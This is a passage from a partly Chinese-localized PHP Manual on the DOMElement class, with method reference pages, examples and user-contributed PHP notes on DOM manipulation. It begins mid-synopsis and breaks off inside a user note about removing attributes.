public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

属性

childElementCount

The number of child elements.

firstElementChild

First child element or null.

lastElementChild

Last child element or null.

nextElementSibling

The next sibling element or null.

previousElementSibling

The previous sibling element or null.

schemaTypeInfo

Not implemented yet, always return null

tagName

The element name

className

A string representing the classes of the element separated by spaces

id

The element ID

更新日志

版本 | 说明
8.0.0 | The firstElementChild, lastElementChild, childElementCount, previousElementSibling, and nextElementSibling properties have been added.
8.0.0 | DOMElement implements DOMParentNode and DOMChildNode now.

注释

Note:

此 DOM 扩展采用 UTF-8 编码。使用 mb_convert_encoding()、UConverter::transcode() 或 iconv() 来处理其它编码。

Table of Contents

  • DOMElement::after — Adds nodes after the element
  • DOMElement::append — Appends nodes after the last child node
  • DOMElement::before — Adds nodes before the element
  • DOMElement::__construct — Creates a new DOMElement object
  • DOMElement::getAttribute — Returns value of attribute
  • DOMElement::getAttributeNames — Get attribute names
  • DOMElement::getAttributeNode — Returns attribute node
  • DOMElement::getAttributeNodeNS — Returns attribute node
  • DOMElement::getAttributeNS — Returns value of attribute
  • DOMElement::getElementsByTagName — Gets elements by tagname
  • DOMElement::getElementsByTagNameNS — Get elements by namespaceURI and localName
  • DOMElement::hasAttribute — Checks to see if attribute exists
  • DOMElement::hasAttributeNS — Checks to see if attribute exists
  • DOMElement::insertAdjacentElement — Insert adjacent element
  • DOMElement::insertAdjacentText — Insert adjacent text
  • DOMElement::prepend — Prepends nodes before the first child node
  • DOMElement::remove — Removes the element
  • DOMElement::removeAttribute — Removes attribute
  • DOMElement::removeAttributeNode — Removes attribute
  • DOMElement::removeAttributeNS — Removes attribute
  • DOMElement::replaceChildren — Replace children in element
  • DOMElement::replaceWith — Replaces the element with new nodes
  • DOMElement::setAttribute — Adds new or modifies existing attribute
  • DOMElement::setAttributeNode — Adds new attribute node to element
  • DOMElement::setAttributeNodeNS — Adds new attribute node to element
  • DOMElement::setAttributeNS — Adds new attribute
  • DOMElement::setIdAttribute — Declares the attribute specified by name to be of type ID
  • DOMElement::setIdAttributeNode — Declares the attribute specified by node to be of type ID
  • DOMElement::setIdAttributeNS — Declares the attribute specified by local name and namespace URI to be of type ID
  • DOMElement::toggleAttribute — Toggle attribute

User Contributed Notes

johnny 03-Mar-2014 03:48
Get html of a node
 $html .= $dom->saveHTML($node);
Janne Enberg 07-Nov-2013 11:02
This page doesn't list the inherited properties from DOMNode, e.g. the quite important textContent property. It would be immensely helpful if it would list those as well.
felix dot klee at inka dot de 26-Feb-2013 03:23
How to rename an element and preserve attributes:

<?php

// Changes the name of element $element to $newName.
function renameElement($element, $newName) {
  $newElement = $element->ownerDocument->createElement($newName);
  $parentElement = $element->parentNode;
  $parentElement->insertBefore($newElement, $element);

  $childNodes = $element->childNodes;
  while ($childNodes->length > 0) {
    $newElement->appendChild($childNodes->item(0));
  }

  $attributes = $element->attributes;
  while ($attributes->length > 0) {
    $attribute = $attributes->item(0);
    if (!is_null($attribute->namespaceURI)) {
      $newElement->setAttributeNS('http://www.w3.org/2000/xmlns/',
                                  'xmlns:'.$attribute->prefix,
                                  $attribute->namespaceURI);
    }
    $newElement->setAttributeNode($attribute);
  }

  $parentElement->removeChild($element);
}

function prettyPrint($d) {
  $d->formatOutput = true;
  echo '<pre>'.htmlspecialchars($d->saveXML()).'</pre>';
}

$d = new DOMDocument( '1.0' );
$d->loadXML('<?xml version="1.0"?>
<library>
  <data a:foo="1" x="bar" xmlns:a="http://example.com/a">
    <invite>
      <username>jmansa</username>
      <userid>1</userid>
    </invite>
    <update>1</update>
  </data>
</library>');

$xpath = new DOMXPath($d);
$elements = $xpath->query('/library/data');
if ($elements->length == 1) {
  $element = $elements->item(0);
  renameElement($element, 'invites');
}

prettyPrint($d);

?>
loopduplicate at burningtoken dot com 22-Apr-2011 02:34
This works perfect for me as well:

<?php $xml = $domElement->ownerDocument->saveXML($domElement); ?>
Anonymous 24-Dec-2010 08:22
you can use DOMNode::nodeValue
DOMElement inherits this public property.

$elem->nodeValue
dpetroff ( at ) gmail.com 04-Dec-2010 11:24
Hi!

Combining all th comments, the easiest way to get inner HTML of the node is to use this function:

<?php
function get_inner_html( $node ) {
    $innerHTML= '';
    $children = $node->childNodes;
    foreach ($children as $child) {
        $innerHTML .= $child->ownerDocument->saveXML( $child );
    }

    return $innerHTML;
}
?>
nawaman at gmail dot com 03-Sep-2009 08:08
The following code shows can text-only content be extracted from a document.

<?php
function getTextFromNode($Node, $Text = "") {
    if ($Node->tagName == null)
        return $Text.$Node->textContent;

    $Node = $Node->firstChild;
    if ($Node != null)
        $Text = getTextFromNode($Node, $Text);

    while($Node->nextSibling != null) {
        $Text = getTextFromNode($Node->nextSibling, $Text);
        $Node = $Node->nextSibling;
    }
    return $Text;
}

function getTextFromDocument($DOMDoc) {
    return getTextFromNode($DOMDoc->documentElement);
}

$Doc = new DOMDocument();
$Doc->loadHTMLFile("Test.html");
echo getTextFromDocument($Doc)."\n";
?>
Daniel Morlock 07-May-2009 09:22
It would be nice to have a function which converts a document/node/element into a string.

Anyways, I use the following code snippet to get the innerHTML value of a DOMNode:

<?php
function getInnerHTML($Node)
{
     $Body = $Node->ownerDocument->documentElement->firstChild->firstChild;
     $Document = new DOMDocument();
     $Document->appendChild($Document->importNode($Body,true));
     return $Document->saveHTML();
}
?>
patrick smith 04-Nov-2008 08:14
Although it may be preferable to use the dom to manipulate elements, sometimes it's useful to actually get the innerHTML from a document element (e.g. to load into a client-side editor).

To get the innerHTML of a specific element ($elem_id) in a specific html file ($filepath):

<?php
$innerHTML = '';
$doc = new DOMDocument();
$doc->loadHTMLFile($filepath);
$elem = $doc->getElementById($elem_id);

// loop through all childNodes, getting html
$children = $elem->childNodes;
foreach ($children as $child) {
    $tmp_doc = new DOMDocument();
    $tmp_doc->appendChild($tmp_doc->importNode($child,true));
    $innerHTML .= $tmp_doc->saveHTML();
}
?>
Pinochet 25-Oct-2008 05:33
Hi to get the value of DOMElement just get the nodeValue public parameter (it is inherited from DOMNode):
<?php
echo $domElement->nodeValue;
?>
Everything is obvious if you now about this thing ;-)
j DOT wagner ( AT ) medieninnovation.com 08-Oct-2008 09:11
Caveat!
It took me almost an hour to figure this out, so I hope it saves at least one of you some time.

If you want to debug your DOM tree and try var_dump() or similar you will be fooled into thinking the DOMElement that you are looking at is empty, because var_dump() says: object(DOMElement)#1 (0) { }

After much debugging I found out that all DOM objects are invisible to var_dump() and print_r(), my guess is because they are C objects and not PHP objects. So I tried saveXML(), which works fine on DOMDocument, but is not implemented on DOMElement.

The solution is simple (if you know it):
$xml = $domElement->ownerDocument->saveXML($domElement);

This will give you an XML representation of $domElement.
Severin 14-Sep-2008 06:18
I wanted to find similar Elements - thats why I built an Xpath-String like this - maybe somebody needs it... its not very pretty - but neither is domdocument :)

<?php

$dom->load($xmlFile))

$xpathQuery = '//*';
$xmlNodes = $xpath->query($xpathQuery);

$pathlist = array();
$attrlist = array();
foreach ($xmlNodes as $node) {

  $depth = $this->_getDomDepth($node);   //get Path-Depth (for array key)
  $pathlist[$depth] = $node->tagName;     // tagname

  $attrs = $node->attributes;
  $attr='';
  $a=0;
  foreach ($attrs as $attrName => $attrNode)  // attributes
            {
              if ($attrName !='reg')
              {
                if ($a++!=0) $attr .= ' and ';
                $attr .= '@'.$attrName.'='."'".$attrNode->value."'";
              }
            }

          $attrlist[$depth] = $attr?'['.$attr.']':'';

          $path = ''; for ($i=0;$i<=$depth;$i++) $path .= '/'.$pathlist[$i].$attrlist[$i];  // the xpath of the actual Element

    // ... now you can go on and user $path to find similar elements
    }
  }
}

 private function _getDomDepth(DomNode $node)
   {
     $r = -2;
     while ($node) {
       $r++;
       $node = $node->parentNode;
     }
     return  $r;
   }
?>
ae.fxx 18-Jul-2008 01:49
Hi there.

Remember to append a DOMNode (or any of its descendants) to a DOMDocument __BEFORE__ you try to append a child to it.

I don't know why it has to be this way but it can't be done without it.

bye


Adds nodes after the element

  • ? DOMElement
  • DOMElement::append ?
  • PHP Manual
  • DOMElement
  • Adds nodes after the element

DOMElement::after

(PHP 8)

DOMElement::after — Adds nodes after the element

说明

public DOMElement::after(DOMNode|string ...$nodes): void

Adds the passed nodes after the element.

参数

nodes

Nodes to be added after the node. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if the parent is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without a parent is now a no-op to align the behaviour with the DOM specification. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.
8.3.0 | Calling this method on a node without an owner document now works. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMElement::after() example

Adds nodes after the hello element.

<?php
$doc = new DOMDocument;
$doc->loadXML("<hello/>");
$container = $doc->documentElement;

$container->after("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
<hello/>
beautiful
<world/>

参见

  • DOMChildNode::after() - Adds nodes after the node
  • DOMElement::before() - Adds nodes before the element

User Contributed Notes

There are no user contributed notes for this page.


Appends nodes after the last child node

  • ? DOMElement::after
  • DOMElement::before ?
  • PHP Manual
  • DOMElement
  • Appends nodes after the last child node

DOMElement::append

(PHP 8)

DOMElement::append — Appends nodes after the last child node

说明

public DOMElement::append(DOMNode|string ...$nodes): void

Appends one or many nodes to the list of children after the last child node.

参数

nodes

The nodes to append. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without an owner document now works. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMElement::append() example

Appends nodes in the container element.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container>hello </container>");
$world = $doc->documentElement;

$world->append("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
<container>hello beautiful<world/></container>

参见

  • DOMParentNode::append() - Appends nodes after the last child node
  • DOMElement::prepend() - Prepends nodes before the first child node

User Contributed Notes

There are no user contributed notes for this page.


Adds nodes before the element

  • ? DOMElement::append
  • DOMElement::__construct ?
  • PHP Manual
  • DOMElement
  • Adds nodes before the element

DOMElement::before

(PHP 8)

DOMElement::before — Adds nodes before the element

说明

public DOMElement::before(DOMNode|string ...$nodes): void

Adds the passed nodes before the element.

参数

nodes

Nodes to be added before the node. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if the parent is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without a parent is now a no-op to align the behaviour with the DOM specification. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMElement::before() example

Adds nodes before the hello element.

<?php
$doc = new DOMDocument;
$doc->loadXML("<world/>");
$world = $doc->documentElement;

$world->before("hello", $doc->createElement("beautiful"));

echo $doc->saveXML();
?>

以上示例会输出：

hello
<beautiful/>
<world/>

参见

  • DOMChildNode::before() - Adds nodes before the node
  • DOMElement::after() - Adds nodes after the element

User Contributed Notes

There are no user contributed notes for this page.


Creates a new DOMElement object

  • ? DOMElement::before
  • DOMElement::getAttribute ?
  • PHP Manual
  • DOMElement
  • Creates a new DOMElement object

DOMElement::__construct

(PHP 5, PHP 7, PHP 8)

DOMElement::__construct — Creates a new DOMElement object

说明

public DOMElement::__construct(string $qualifiedName, ?string $value = null, string $namespace = "")

Creates a new DOMElement object. This object is read only. It may be appended to a document, but additional nodes may not be appended to this node until the node is associated with a document. To create a writeable node, use DOMDocument::createElement or DOMDocument::createElementNS.

参数

qualifiedName

The tag name of the element. When also passing in namespaceURI, the element name may take a prefix to be associated with the URI.

value

The value of the element.

namespace

A namespace URI to create the element within a specific namespace.

示例

Example #1 Creating a new DOMElement

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$element_ns = new DOMElement('pr:node1', 'thisvalue', 'http://xyz');
$element->appendChild($element_ns);
echo $dom->saveXML(); /* <?xml version="1.0" encoding="utf-8"?>
<root><pr:node1 xmlns:pr="http://xyz">thisvalue</pr:node1></root> */

?>

参见

  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace

User Contributed Notes

troelskn at gmail dot com 03-Jun-2008 07:46
Note that this function is buggy. You have to manually escape the $value argument with htmlspecialchars.
See: http://bugs.php.net/bug.php?id=31191


Returns value of attribute

  • ? DOMElement::__construct
  • DOMElement::getAttributeNames ?
  • PHP Manual
  • DOMElement
  • Returns value of attribute

DOMElement::getAttribute

(PHP 5, PHP 7, PHP 8)

DOMElement::getAttribute — Returns value of attribute

说明

public DOMElement::getAttribute(string $qualifiedName): string

Gets the value of the attribute with name qualifiedName for the current node.

参数

qualifiedName

The name of the attribute.

返回值

The value of the attribute, or an empty string if no attribute with the given qualifiedName is found.

参见

  • DOMElement::hasAttribute() - Checks to see if attribute exists
  • DOMElement::setAttribute() - Adds new or modifies existing attribute
  • DOMElement::removeAttribute() - Removes attribute

User Contributed Notes

mpalmer at cybersource dot com 09-Nov-2007 03:32
- - - - - - - - - - - - - -

XML Data:
<data>
<Report ID="1">
    <Date>REVIEW</Date>
    <AuthorID>1</AuthorID>
</Report>
<Report ID="2">
    <Date>REVIEW</Date>
    <AuthorID>2</AuthorID>
</Report>
</data>

- - - - - - - - - - - - - -

<?php
$xmlDoc = new DOMDocument();
$xmlDoc->load( 'data.xml' );

$searchNode = $xmlDoc->getElementsByTagName( "Report" );

foreach( $searchNode as $searchNode )
{
    $valueID = $searchNode->getAttribute('ID');

    $xmlDate = $searchNode->getElementsByTagName( "Date" );
    $valueDate = $xmlDate->item(0)->nodeValue;

    $xmlAuthorID = $searchNode->getElementsByTagName( "AuthorID" );
    $valueAuthorID = $xmlAuthorID->item(0)->nodeValue;

    echo "$valueID - $valueDate - $valueAuthorID\n";
}
?>

- - - - - - - - - - - - - -

Output:

1 - REVIEW - 1
2 - REVIEW - 2

- - - - - - - - - - - - - -


Get attribute names

  • ? DOMElement::getAttribute
  • DOMElement::getAttributeNode ?
  • PHP Manual
  • DOMElement
  • Get attribute names

DOMElement::getAttributeNames

(PHP 8 >= 8.3.0)

DOMElement::getAttributeNames — Get attribute names

说明

public DOMElement::getAttributeNames(): array

Get attribute names.

参数

此函数没有参数。

返回值

Return attribute names.

示例

Example #1 DOMElement::getAttributeNames() example

<?php

$dom = new DOMDocument();
$dom->loadXML('<html xmlns:some="some:ns" some:test="a" test2="b"/>');
var_dump($dom->documentElement->getAttributeNames());
?>

以上示例会输出：

array(3) {
 [0]=>
 string(10) "xmlns:some"
 [1]=>
 string(9) "some:test"
 [2]=>
 string(5) "test2"
}

User Contributed Notes

There are no user contributed notes for this page.


Returns attribute node

  • ? DOMElement::getAttributeNames
  • DOMElement::getAttributeNodeNS ?
  • PHP Manual
  • DOMElement
  • Returns attribute node

DOMElement::getAttributeNode

(PHP 5, PHP 7, PHP 8)

DOMElement::getAttributeNode — Returns attribute node

说明

public DOMElement::getAttributeNode(string $qualifiedName): DOMAttr|DOMNameSpaceNode|false

Returns the attribute node with name qualifiedName for the current element.

参数

qualifiedName

The name of the attribute.

返回值

The attribute node. Note that for XML namespace declarations (xmlns and xmlns:* attributes) an instance of DOMNameSpaceNode is returned instead of a DOMAttr.

参见

  • DOMElement::hasAttribute() - Checks to see if attribute exists
  • DOMElement::setAttributeNode() - Adds new attribute node to element
  • DOMElement::removeAttributeNode() - Removes attribute

User Contributed Notes

lowezar at gmail dot com 28-Feb-2011 08:22
It may also return DOMNameSpaceNode if you`re requesting 'xmlns:_prefix_'. So you`re unable to remove it with removeAttributeNode() which requires DOMAttr as parameter.
Alex 18-Feb-2009 08:33
Just trying to add some clarification: this function will return boolean "false" when there is not a $name attribute :)

Cheers, Alex


Returns attribute node

  • ? DOMElement::getAttributeNode
  • DOMElement::getAttributeNS ?
  • PHP Manual
  • DOMElement
  • Returns attribute node

DOMElement::getAttributeNodeNS

(PHP 5, PHP 7, PHP 8)

DOMElement::getAttributeNodeNS — Returns attribute node

说明

public DOMElement::getAttributeNodeNS(?string $namespace, string $localName): DOMAttr|DOMNameSpaceNode|null

Returns the attribute node in namespace namespace with local name localName for the current node.

参数

namespace

The namespace URI.

localName

The local name.

返回值

The attribute node. Note that for XML namespace declarations (xmlns and xmlns:* attributes) an instance of DOMNameSpaceNode is returned instead of a DOMAttr object.

参见

  • DOMElement::hasAttributeNS() - Checks to see if attribute exists
  • DOMElement::setAttributeNodeNS() - Adds new attribute node to element
  • DOMElement::removeAttributeNode() - Removes attribute

User Contributed Notes

There are no user contributed notes for this page.


Returns value of attribute

  • ? DOMElement::getAttributeNodeNS
  • DOMElement::getElementsByTagName ?
  • PHP Manual
  • DOMElement
  • Returns value of attribute

DOMElement::getAttributeNS

(PHP 5, PHP 7, PHP 8)

DOMElement::getAttributeNS — Returns value of attribute

说明

public DOMElement::getAttributeNS(?string $namespace, string $localName): string

Gets the value of the attribute in namespace namespace with local name localName for the current node.

参数

namespace

The namespace URI.

localName

The local name.

返回值

The value of the attribute, or an empty string if no attribute with the given localName and namespace is found.

参见

  • DOMElement::hasAttributeNS() - Checks to see if attribute exists
  • DOMElement::setAttributeNS() - Adds new attribute
  • DOMElement::removeAttributeNS() - Removes attribute

User Contributed Notes

There are no user contributed notes for this page.


Gets elements by tagname

  • ? DOMElement::getAttributeNS
  • DOMElement::getElementsByTagNameNS ?
  • PHP Manual
  • DOMElement
  • Gets elements by tagname

DOMElement::getElementsByTagName

(PHP 5, PHP 7, PHP 8)

DOMElement::getElementsByTagName — Gets elements by tagname

说明

public DOMElement::getElementsByTagName(string $qualifiedName): DOMNodeList

This function returns a new instance of the class DOMNodeList of all descendant elements with a given tag qualifiedName, in the order in which they are encountered in a preorder traversal of this element tree.

参数

qualifiedName

The tag name. Use * to return all elements within the element tree.

返回值

This function returns a new instance of the class DOMNodeList of all matched elements.

参见

  • DOMElement::getElementsByTagNameNS() - Get elements by namespaceURI and localName

User Contributed Notes

There are no user contributed notes for this page.


Get elements by namespaceURI and localName

  • ? DOMElement::getElementsByTagName
  • DOMElement::hasAttribute ?
  • PHP Manual
  • DOMElement
  • Get elements by namespaceURI and localName

DOMElement::getElementsByTagNameNS

(PHP 5, PHP 7, PHP 8)

DOMElement::getElementsByTagNameNS — Get elements by namespaceURI and localName

说明

public DOMElement::getElementsByTagNameNS(?string $namespace, string $localName): DOMNodeList

This function fetch all the descendant elements with a given localName and namespace.

参数

namespace

The namespace URI of the elements to match on. The special value "*" matches all namespaces. Passing null matches the empty namespace.

localName

The local name of the elements to match on. The special value "*" matches all local names.

返回值

This function returns a new instance of the class DOMNodeList of all matched elements in the order in which they are encountered in a preorder traversal of this element tree.

更新日志

版本 | 说明
8.0.3 | namespace is nullable now.

参见

  • DOMElement::getElementsByTagName() - Gets elements by tagname

User Contributed Notes

spam at chovy dot com 03-Jun-2009 05:36
I had some difficulty stripping all default NS attributes for an ns-uri in one shot, the following will work though...first strip the documentElement namespace, then getElementsByTagNameNS() -- the documentation should reflect that the 2nd argument is actually the name of the tag, not the local namespace prefix as I first expected:

<?php

function strip_default_ns( $xml = null, $ns_uri = 'http://example.com/XML-Foo' ) {
    $ns_local = '';
    $ns_tag = '*';

    if ( empty($xml) ) return false;

    //remove document namespace
    $dom = new DOMDocument();
    $dom->loadXML($xml);
    $dom->documentElement->removeAttributeNS($ns_uri, $ns_local);

    //strip element namespaces
    foreach ( $dom->getElementsByTagNameNS($ns_uri, $ns_tag) as $elem ) {
        $elem->removeAttributeNS($ns_uri, $ns_local);
    }

    return $dom->saveXML();
}

$stripped_xml = strip_default_ns($the_xml);

?>

$stripped_xml can now take advantage of running XPath queries on it for the NULL namespace.


Checks to see if attribute exists

  • ? DOMElement::getElementsByTagNameNS
  • DOMElement::hasAttributeNS ?
  • PHP Manual
  • DOMElement
  • Checks to see if attribute exists

DOMElement::hasAttribute

(PHP 5, PHP 7, PHP 8)

DOMElement::hasAttribute — Checks to see if attribute exists

说明

public DOMElement::hasAttribute(string $qualifiedName): bool

Indicates whether attribute named qualifiedName exists as a member of the element.

参数

qualifiedName

The attribute name.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • DOMElement::hasAttributeNS() - Checks to see if attribute exists
  • DOMElement::getAttribute() - Returns value of attribute
  • DOMElement::setAttribute() - Adds new or modifies existing attribute
  • DOMElement::removeAttribute() - Removes attribute

User Contributed Notes

There are no user contributed notes for this page.


Checks to see if attribute exists

  • ? DOMElement::hasAttribute
  • DOMElement::insertAdjacentElement ?
  • PHP Manual
  • DOMElement
  • Checks to see if attribute exists

DOMElement::hasAttributeNS

(PHP 5, PHP 7, PHP 8)

DOMElement::hasAttributeNS — Checks to see if attribute exists

说明

public DOMElement::hasAttributeNS(?string $namespace, string $localName): bool

Indicates whether attribute in namespace namespace named localName exists as a member of the element.

参数

namespace

The namespace URI.

localName

The local name.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • DOMElement::hasAttribute() - Checks to see if attribute exists
  • DOMElement::getAttributeNS() - Returns value of attribute
  • DOMElement::setAttributeNS() - Adds new attribute
  • DOMElement::removeAttributeNS() - Removes attribute

User Contributed Notes

There are no user contributed notes for this page.


Insert adjacent element

  • ? DOMElement::hasAttributeNS
  • DOMElement::insertAdjacentText ?
  • PHP Manual
  • DOMElement
  • Insert adjacent element

DOMElement::insertAdjacentElement

(PHP 8 >= 8.3.0)

DOMElement::insertAdjacentElement — Insert adjacent element

说明

public DOMElement::insertAdjacentElement(string $where, DOMElement $element): ?DOMElement

Inserts an element at a relative position given by where.

参数

where

  • beforebegin - Insert before the target element.
  • afterbegin - Insert as the first child of the target element.
  • beforeend - Insert as the last child of the target element.
  • afterend - Insert after the target element.

element

The element to insert.

返回值

Return DOMElement or null on failure.

示例

Example #1 DOMElement::insertAdjacentElement() example

<?php

$dom = new DOMDocument();
$dom->loadXML('<?xml version="1.0"?><container><p>foo</p></container>');
$container = $dom->documentElement;
$p = $container->firstElementChild;

$p->insertAdjacentElement('beforebegin', $dom->createElement('A'));
echo $dom->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
<container><A/><p>foo</p></container>

参见

  • DOMElement::insertAdjacentText() - Insert adjacent text

User Contributed Notes

There are no user contributed notes for this page.


Insert adjacent text

  • ? DOMElement::insertAdjacentElement
  • DOMElement::prepend ?
  • PHP Manual
  • DOMElement
  • Insert adjacent text

DOMElement::insertAdjacentText

(PHP 8 >= 8.3.0)

DOMElement::insertAdjacentText — Insert adjacent text

说明

public DOMElement::insertAdjacentText(string $where, string $data): void

Inserts text at a relative position given by where.

参数

where

  • beforebegin - Insert before the target element.
  • afterbegin - Insert as the first child of the target element.
  • beforeend - Insert as the last child of the target element.
  • afterend - Insert after the target element.

data

The string to insert.

返回值

没有返回值。

示例

Example #1 DOMElement::insertAdjacentText() example

<?php

$dom = new DOMDocument();
$dom->loadXML('<?xml version="1.0"?><container><p>H</p></container>');

$container = $dom->documentElement;
$p = $container->firstElementChild;

$p->insertAdjacentText("afterbegin", "P");
$p->insertAdjacentText("beforeend", "P");

echo $dom->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
<container><p>PHP</p></container>

参见

  • DOMElement::insertAdjacentElement() - Insert adjacent element

User Contributed Notes

There are no user contributed notes for this page.


Prepends nodes before the first child node

  • ? DOMElement::insertAdjacentText
  • DOMElement::remove ?
  • PHP Manual
  • DOMElement
  • Prepends nodes before the first child node

DOMElement::prepend

(PHP 8)

DOMElement::prepend — Prepends nodes before the first child node

说明

public DOMElement::prepend(DOMNode|string ...$nodes): void

Prepends one or many nodes to the list of children before the first child node.

参数

nodes

The nodes to prepend. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without an owner document now works. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMElement::prepend() example

Prepends nodes in the container element.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container> world</container>");
$world = $doc->documentElement;

$world->prepend($doc->createElement("hello"), "beautiful");

echo $doc->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
<container><hello/>beautiful world</container>

参见

  • DOMParentNode::prepend() - Prepends nodes before the first child node
  • DOMElement::append() - Appends nodes after the last child node

User Contributed Notes

There are no user contributed notes for this page.


Removes the element

  • ? DOMElement::prepend
  • DOMElement::removeAttribute ?
  • PHP Manual
  • DOMElement
  • Removes the element

DOMElement::remove

(PHP 8)

DOMElement::remove — Removes the element

说明

public DOMElement::remove(): void

Removes the element.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 DOMElement::remove() example

Removes the element.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><hello/><world/></container>");
$hello = $doc->documentElement->firstChild;

$hello->remove();

echo $doc->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
<container><world/></container>

参见

  • DOMElement::after() - Adds nodes after the element
  • DOMElement::before() - Adds nodes before the element
  • DOMElement::replaceWith() - Replaces the element with new nodes
  • DOMNode::removeChild() - Removes child from list of children

User Contributed Notes

There are no user contributed notes for this page.


Removes attribute

  • ? DOMElement::remove
  • DOMElement::removeAttributeNode ?
  • PHP Manual
  • DOMElement
  • Removes attribute

DOMElement::removeAttribute

(PHP 5, PHP 7, PHP 8)

DOMElement::removeAttribute — Removes attribute

说明

public DOMElement::removeAttribute(string $qualifiedName): bool

Removes attribute named qualifiedName from the element.

参数

qualifiedName

The name of the attribute.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

参见

  • DOMElement::hasAttribute() - Checks to see if attribute exists
  • DOMElement::getAttribute() - Returns value of attribute
  • DOMElement::setAttribute() - Adds new or modifies existing attribute

User Contributed Notes

suwayan at mail dot ru 30-Mar-2012 12:19
<?php
/*When I try to get a some attribute from not validated HTML or XML document, PHP dies with no errors in logs or output:
*/
        function is_attribute_value($obj,$type,$value)
        {
            $_ret=false;
            if($obj)
            {
                if($val=$obj->getAttribute($type))
                {
                    if($val==$value)
                    {
                        $_ret=true;
                    }
                }
            }
            return $_ret;
        }
//And this check helped to me:
        function is_attribute_value($obj,$type,$value)
        {
            $_ret=false;
            if($obj->attributes)
            {
                if($val=$obj->getAttribute($type))
                {
                    if($val==$value)
                    {
                        $_ret=true;
                    }
                }
            }
            return $_ret;
        }
?>
Rakesh Verma - rakeshnsony at gmail dot com 10-Nov-2010 11:38
<?php

//Store your html into $html variable.

$html="<html>
<head>
<title>Rakesh Verma</title>
</head>

<body>
    <a href='http://example.com'>Example</a>
    <a href='http://google.com'>Google</a>
    <a href='http://www.yahoo.com'>Yahoo</a>
</body>

</html>";

$dom = new DOMDocument();
$dom->loadHTML($html);

//Evaluate Anchor tag in HTML
$xpath = new DOMXPath($dom);
$hrefs = $xpath->evaluate("/html/body//a");

for ($i = 0; $i < $hrefs->length; $i++) {
        $href = $hrefs->item($i);
        $url = $href->getAttribute('href');

        //remove and set target attribute
        $href->removeAttribute('target');
        $href->setAttribute("target", "_blank");

        $newURL=$url.".au";

        //remove and set href attribute
        $href->removeAttribute('href');
        $href->setAttribute("href", $newURL);
}

// save html
$html=$dom->saveHTML();

echo $html;

?>


Removes attribute

  • ? DOMElement::removeAttribute
  • DOMElement::removeAttributeNS ?
  • PHP Manual
  • DOMElement
  • Removes attribute

DOMElement::removeAttributeNode

(PHP 5, PHP 7, PHP 8)

DOMElement::removeAttributeNode — Removes attribute

说明

public DOMElement::removeAttributeNode(DOMAttr $attr): DOMAttr|false

Removes attribute attr from the element.

参数

attr

The attribute node.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

DOM_NOT_FOUND_ERROR

Raised if attr is not an attribute of the element.

参见

  • DOMElement::hasAttribute() - Checks to see if attribute exists
  • DOMElement::getAttributeNode() - Returns attribute node
  • DOMElement::setAttributeNode() - Adds new attribute node to element

User Contributed Notes

xr07354 at gmx dot de 18-Jun-2013 01:16
Basic: I use PHP5.4.9 from Ubuntu 13.04 repository. The aim of my code is to iterate HTML source (as a DomDocument) recursively and cleanup everything that is not valid to be used inside Epub files (i.e. and attribute align is not valid for paragraphs in Epubs).

FIRST: Today I tried removing attributes from a DOMElement using this simple code:
<?php
for ( $k=0; $k < $element->attributes->length; $k++) {
    if( /* some rule */ ){
        var_dump( $element->attributes->item($k)->nodeName);
        $element->removeAttributeNode( $element->attributes->item($k));
    }
}
?>
Unfortunately all attributes still existed when this loop was finished, even if these var_dumps told me that deleting them was tried.

I solved this problem iterating the attributes list backward:
<?php
